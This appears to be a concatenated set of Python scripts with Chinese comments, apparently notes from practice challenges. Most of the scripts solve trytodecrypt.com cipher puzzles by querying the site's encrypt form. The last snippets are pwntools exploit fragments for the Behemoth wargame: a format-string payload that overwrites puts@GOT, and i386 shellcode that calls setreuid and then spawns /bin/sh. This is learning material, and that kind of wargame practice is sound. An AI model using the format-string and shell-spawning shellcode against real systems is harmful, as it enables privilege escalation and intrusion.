def decode_text13(ct):
    """首字节为全局 key"""
    key = int(ct[:2], 16)
    data = [int(ct[i:i+2], 16) for i in range(2, len(ct), 2)]
    return "".join(C[b - key] for b in data)

def decode_text14(ct):
    """前 3 字节为旋转 key"""
    keys = [int(ct[i:i+2], 16) for i in range(0, 6, 2)]
    data = [int(ct[i:i+2], 16) for i in range(6, len(ct), 2)]
    return "".join(C[data[i] - keys[i % 3]] for i in range(len(data)))

CHAR_OFF = {
    'a': 0x27, 'b': 0x0b, 'c': 0x41, 'd': 0x45, 'e': 0x0e,
    'f': 0x10, 'g': 0x11, 'h': 0x05, 'i': 0x2f, 'j': 0x1c,
    'k': 0x16, 'l': 0x18, 'm': 0x04, 'n': 0x35, 'o': 0x3e,
    'p': 0x37, 'q': 0x1d, 'r': 0x1f, 's': 0x15, 't': 0x21,
    'u': 0x1a, 'v': 0x23, 'w': 0x00, 'x': 0x0c, 'y': 0x3b,
    'z': 0x30, '.': 0x03, ' ': 0x12, 'A': 0x1e, 'B': 0x13,
}
# 反转: 偏移 -> char
OFF_CHAR = {v: k for k, v in CHAR_OFF.items()}

def decode_text15(ct):
    """前 6 hex 为 3 子密钥, data - key[i%3] 得偏移查表"""
    keys = [int(ct[i:i+2], 16) for i in range(0, 6, 2)]
    data = [int(ct[i:i+2], 16) for i in range(6, len(ct), 2)]
    plain = ""
    for i, d in enumerate(data):
        off = d - keys[i % 3]
        plain += OFF_CHAR.get(off, "?")
    return plain

def decode_text16(ct):
    """4-hex 一组 (2偏移 + 2编码)"""
    pt = ""
    for i in range(0, len(ct), 4):
        off = int(ct[i:i+2], 16)
        enc = int(ct[i+2:i+4], 16)
        cp = enc - off
        pt += C[cp] if 0 <= cp < len(C) else "?"
    return pt

def decode_text17(ct, reverse=False):
    """前半 key 后半数据, key - 数据"""
    half = len(ct) // 2
    keys = [int(ct[i:i+2], 16) for i in range(0, half, 2)]
    data = [int(ct[i:i+2], 16) for i in range(half, len(ct), 2)]
    pt = "".join(C[keys[i] - data[i]] for i in range(len(data)))
    return pt[::-1] if reverse else pt

def decode_text18(ct):
    """同 Text 17 但结果反转"""
    return decode_text17(ct, reverse=True)

#!/usr/bin/env python3
import re
import subprocess
import sys

C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "


def encrypt(text_id, text, cookie=""):
    cmd = ["curl", "-s"]
    if cookie:
        cmd += ["-b", cookie]
    cmd += [
        f"https://www.trytodecrypt.com/decrypt.php?id={text_id}",
        "-d",
        f"text={text}&encrypt=Encrypt",
    ]
    r = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
    # m = re.findall(r"panel-body[^>]>([0-9a-fA-F]+)</div>", r.stdout)
    m = re.findall(r"panel-body[^>]*>([0-9a-zA-Z]+)</div>", r.stdout)
    return m[1] if len(m) >= 2 else None


def build_mapping(text_id, step, cookie=""):
    mapping = {}
    for i in range(0, len(C), 20):  # 每次 20 字符，多数服务端限制 50
        batch = C[i : i + 20]
        enc = encrypt(text_id, batch, cookie)
        if enc:
            for j, ch in enumerate(batch):
                mapping[enc[j * step : (j + 1) * step]] = ch
    return mapping


def decode(ct, step, mapping):
    return "".join(mapping.get(ct[i : i + step], "?") for i in range(0, len(ct), step))


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <text_id> <step>")
        sys.exit(1)

    text_id = int(sys.argv[1])
    step = int(sys.argv[2])

    ct = sys.stdin.read().strip() if not sys.stdin.isatty() else input("密文: ").strip()

    mapping = build_mapping(text_id, step)
    if not mapping:
        print("ERROR: 映射表为空，检查 text_id / step / 网络连接")
        sys.exit(1)

    print(decode(ct, step, mapping))

#!/usr/bin/env python3
import re
import subprocess
import sys

C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "


def encrypt(text_id, text, cookie=""):
    cmd = ["curl", "-s"]
    if cookie:
        cmd += ["-b", cookie]
    cmd += [
        f"https://www.trytodecrypt.com/decrypt.php?id={text_id}",
        "-d",
        f"text={text}&encrypt=Encrypt",
    ]
    r = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
    m = re.findall(r"panel-body[^>]*>([0-9a-zA-Z]+)</div>", r.stdout)
    return m[1] if len(m) >= 2 else None


def build_mapping(text_id, step, cookie=""):
    mapping = {}
    # 或者把加密块大小改成 1
    for i in range(0, len(C), 20):  # 每次 20 字符，多数服务端限制 50
        batch = C[i : i + 20]
        enc = encrypt(text_id, batch, cookie)
        if enc:
            for j, ch in enumerate(batch):
                # mapping[enc[j * step : (j + 1) * step]] = ch
                mapping[enc[-(j + 1) * step : len(enc) - j * step]] = ch
    return mapping


def decode(ct, step, mapping):
    return "".join(mapping.get(ct[i : i + step], "?") for i in range(0, len(ct), step))


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <text_id> <step>")
        sys.exit(1)

    text_id = int(sys.argv[1])
    step = int(sys.argv[2])

    ct = sys.stdin.read().strip() if not sys.stdin.isatty() else input("密文: ").strip()

    mapping = build_mapping(text_id, step)
    if not mapping:
        print("ERROR: 映射表为空，检查 text_id / step / 网络连接")
        sys.exit(1)

    print(decode(ct, step, mapping))

#!/usr/bin/env python3
"""trytodecrypt CPA solver — 基于网站加密工具建映射表解码

三种模式:
  simple     固定映射（Text 1-8）
  reverse    先反转再加密（Text 9）
  vigenere   逐位置映射（Text 10-12）
  derive     自动推导公式，少量请求解码（Text 10-12 推荐）

用法:
  python trytodecrypt_solve.py <text_id> [options]
  echo '密文' | python trytodecrypt_solve.py <text_id> [options]

选项:
  -s, --step       步长（默认 auto）
  -r, --reverse    反转模式（Text 9）
  -v, --vigenere   Vigenere 模式（逐位置建表，请求多）
  -d, --derive     推导模式（少量请求算公式，Text 10-12 推荐）
  -c, --cookie     PHPSESSID
  -q, --quiet      静默模式
"""

import argparse
import re
import subprocess
import sys
import time

C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "


def eprint(*args, **kwargs):
    print(*args, file=sys.stderr, **kwargs)


def encrypt(text_id, text, cookie="", retry=3):
    for attempt in range(retry):
        cmd = ["curl", "-s", "--max-time", "15", "--retry", "2"]
        if cookie:
            cmd += ["-b", cookie]
        cmd += [
            f"https://www.trytodecrypt.com/decrypt.php?id={text_id}",
            "-d", f"text={text}&encrypt=Encrypt",
        ]
        try:
            r = subprocess.run(cmd, capture_output=True, text=True, timeout=20)
            m = re.findall(r"panel-body[^>]*>([0-9a-zA-Z]+)</div>", r.stdout)
            if len(m) >= 2:
                return m[1]
        except subprocess.TimeoutExpired:
            pass
        if attempt < retry - 1:
            time.sleep(1)
    return None


def detect_step(text_id, cookie=""):
    for step in [2, 3, 4]:
        enc = encrypt(text_id, "0" * 10, cookie)
        if enc and len(enc) == step * 10:
            return step
    enc = encrypt(text_id, "0", cookie)
    if enc:
        return len(enc)
    return 2


def build_mapping_simple(text_id, step, cookie="", batch=20, reverse=False):
    mapping = {}
    for i in range(0, len(C), batch):
        plain = C[i:i + batch]
        enc = encrypt(text_id, plain, cookie)
        if not enc:
            continue
        groups = [enc[j * step:(j + 1) * step] for j in range(len(plain))]
        if reverse:
            groups.reverse()
        for j, ch in enumerate(plain):
            mapping[groups[j]] = ch
    return mapping


def build_mapping_vigenere(text_id, step, ct_len, cookie="", quiet=False):
    mapping = [{} for _ in range(ct_len)]
    total = ct_len * len(C)
    done = 0
    t0 = time.time()
    for pos in range(ct_len):
        prefix = "0" * pos
        for ch in C:
            plain = prefix + ch
            enc = encrypt(text_id, plain, cookie)
            if enc:
                key = enc[pos * step:(pos + 1) * step]
                mapping[pos][key] = ch
            done += 1
            if not quiet and done % 50 == 0:
                elapsed = time.time() - t0
                eprint(f"  [{done}/{total}] {done/total*100:.0f}%  eta {elapsed/done*(total-done):.0f}s")
    if not quiet:
        eprint(f"  [{total}/{total}] 100%  ({time.time()-t0:.0f}s)")
    return mapping


def derive_vigenere(text_id, step, ct_len, cookie=""):
    """推导公式模式：少量请求算出 key，直接解码"""
    # 加密 "0"*n 获取每个位置的基值
    enc_zeros = encrypt(text_id, "0" * ct_len, cookie)
    if not enc_zeros:
        return None
    bases = [int(enc_zeros[p * step:(p + 1) * step], 16) for p in range(ct_len)]

    # 加密 "1"*n 获取梯子
    enc_ones = encrypt(text_id, "1" * ct_len, cookie)
    if enc_ones:
        steps = [int(enc_ones[p * step:(p + 1) * step], 16) - bases[p] for p in range(ct_len)]
    else:
        steps = [0] * ct_len

    return bases, steps


def decode_with_key(ct, step, bases, steps):
    """用推导出的 key 解码"""
    pt = ""
    for i in range(len(ct) // step):
        val = int(ct[i * step:(i + 1) * step], 16)
        # enc = base + cp * step
        if steps[i] != 0:
            cp = round((val - bases[i]) / steps[i])
        else:
            cp = val - bases[i]
        if 0 <= cp < len(C):
            pt += C[cp]
        else:
            pt += "?"
    return pt


def decode_simple(ct, step, mapping):
    return "".join(mapping.get(ct[i:i + step], "?") for i in range(0, len(ct), step))


def decode_vigenere(ct, step, mapping):
    return "".join(
        mapping[i].get(ct[i * step:(i + 1) * step], "?")
        for i in range(len(mapping))
    )


def main():
    ap = argparse.ArgumentParser(description="trytodecrypt CPA solver")
    ap.add_argument("text_id", type=int, help="题目 ID")
    ap.add_argument("-s", "--step", type=int, default=0, help="步长（默认 auto）")
    ap.add_argument("-r", "--reverse", action="store_true", help="反转模式（Text 9）")
    ap.add_argument("-v", "--vigenere", action="store_true", help="Vigenere 模式（逐位置建表）")
    ap.add_argument("-d", "--derive", action="store_true", help="推导模式（少量请求算公式）")
    ap.add_argument("-c", "--cookie", default="", help="PHPSESSID")
    ap.add_argument("-q", "--quiet", action="store_true", help="静默模式")
    ap.add_argument("--batch", type=int, default=20, help="每批字符数（默认 20，simple 专用）")
    args = ap.parse_args()

    ct = sys.stdin.read().strip() if not sys.stdin.isatty() else input("密文: ").strip()
    if not ct:
        eprint("ERROR: 未提供密文")
        sys.exit(1)

    step = args.step or detect_step(args.text_id, args.cookie)
    if not args.quiet:
        eprint(f"[*] 步长: {step}")

    if args.derive:
        ct_len = len(ct) // step
        if not args.quiet:
            eprint(f"[*] 推导模式: {ct_len} 个位置")
        result = derive_vigenere(args.text_id, step, ct_len, args.cookie)
        if result is None:
            eprint("ERROR: 推导失败")
            sys.exit(1)
        bases, steps = result
        if not args.quiet:
            eprint(f"[*] bases: {bases}")
            eprint(f"[*] steps: {steps}")
        print(decode_with_key(ct, step, bases, steps))

    elif args.vigenere:
        ct_len = len(ct) // step
        if not args.quiet:
            eprint(f"[*] Vigenere: {ct_len} × {len(C)} = {ct_len * len(C)} 次请求")
        mapping = build_mapping_vigenere(args.text_id, step, ct_len, args.cookie, args.quiet)
        if not mapping[0]:
            eprint("ERROR: 映射表为空")
            sys.exit(1)
        print(decode_vigenere(ct, step, mapping))

    else:
        mode = "reverse" if args.reverse else "simple"
        if not args.quiet:
            eprint(f"[*] 模式: {mode}")
        mapping = build_mapping_simple(args.text_id, step, args.cookie, args.batch, args.reverse)
        if not mapping:
            eprint("ERROR: 映射表为空")
            sys.exit(1)
        print(decode_simple(ct, step, mapping))


if __name__ == "__main__":
    main()

C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "
ct = "00D02703603C0450461340870A50B50EA10A0BD133"
vals = [int(ct[i*3:(i+1)*3], 16) for i in range(14)]
print("".join(C[round((v - (i+1)*(i+2)//2) / ((i+2)/2))] for i, v in enumerate(vals)))

import subprocess, re, sys
C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "

def encrypt(text_id, text, cookie=""):
    cmd = ["curl", "-s"]
    if cookie:
        cmd += ["-b", cookie]
    cmd += [f"https://www.trytodecrypt.com/decrypt.php?id={text_id}",
            "-d", f"text={text}&encrypt=Encrypt"]
    r = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
    m = re.findall(r"panel-body[^>]*>([0-9a-fA-F]+)</div>", r.stdout)
    return m[1] if len(m) >= 2 else None

def build_mapping(text_id, step, cookie=""):
    mapping = {}
    for i in range(0, len(C), 20):
        batch = C[i:i+20]
        enc = encrypt(text_id, batch, cookie)
        if enc:
            for j, ch in enumerate(batch):
                mapping[enc[j*step:(j+1)*step]] = ch
    return mapping

def decode(ct, step, mapping):
    return "".join(mapping.get(ct[i:i+step], "?") for i in range(0, len(ct), step))

if __name__ == "__main__":
    text_id, step = int(sys.argv[1]), int(sys.argv[2])
    ct = sys.stdin.read().strip() if not sys.stdin.isatty() else input("密文: ").strip()
    mapping = build_mapping(text_id, step)
    print(decode(ct, step, mapping))

C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "
OFF = 2
def dec(s):
    r = []
    for i in range(0, len(s), 2):
        r.append(C[int(s[i:i+2], 16) - OFF])
    return "".join(r)

C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "
def dec(s, OFF=42):
    r = []
    for i in range(0, len(s), 2):
        r.append(C[int(s[i:i+2], 16) - OFF])
    return "".join(r)

C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "
def dec(s, OFF=-13):
    r = []
    for i in range(0, len(s), 2):
        r.append(C[(int(s[i:i+2], 16) - OFF) % len(C)])
    return "".join(r)

from pwn import *
eip = 0x61617361
offset = cyclic_find(p32(eip), n=4)   # → 71

from pwn import *
e = ELF("/behemoth/behemoth3")
# PIE:    False, No canary, No RELRO
# puts@GOT = 0x0804b218  (NOT the old 0x080497ac)
# Stack:  Executable (no GNU_STACK header)

from pwn import *
context.arch = "i386"

puts_got = 0x0804b218
egg_addr = 0xffffde6e   # from getenv, adjust per session

low  = egg_addr & 0xffff
high = (egg_addr >> 16) & 0xffff

val1 = low - 8
val2 = high - low

payload = p32(puts_got) + p32(puts_got + 2)
payload += f"%{val1}c%1$hn%{val2}c%2$hn".encode()

from pwn import *
context.arch = "i386"

sc = asm("""
    jmp short getmsg
printmsg:
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx
    mov al, 0x4        /* write syscall (not 0x0b, blocked) */
    mov bl, 0x1        /* stdout */
    pop ecx            /* message address */
    mov dl, 0xa        /* "HelloKitty" = 10 bytes */
    int 0x80
    xor eax, eax
    mov al, 0x1        /* exit syscall */
    xor ebx, ebx
    int 0x80
getmsg:
    call printmsg
    .ascii "HelloKitty"
""")
print(sc.hex())

from pwn import *
context.arch = "i386"

sc = asm("""
    /* setreuid(13008, 13008) — syscall 70 */
    xor eax, eax
    mov al, 0x46
    xor ebx, ebx
    mov bh, 0x32
    mov bl, 0xd0         /* ebx = 0x32d0 = 13008 */
    xor ecx, ecx
    mov ch, 0x32
    mov cl, 0xd0         /* ecx = 0x32d0 = 13008 */
    int 0x80

    /* execve("/bin//sh", NULL, NULL) — syscall 11 */
    xor eax, eax
    mov al, 0xb
    xor edx, edx
    xor ecx, ecx
    push ecx
    push 0x68732f2f      /* "//sh" */
    push 0x6e69622f      /* "/bin" */
    mov ebx, esp
    int 0x80
""")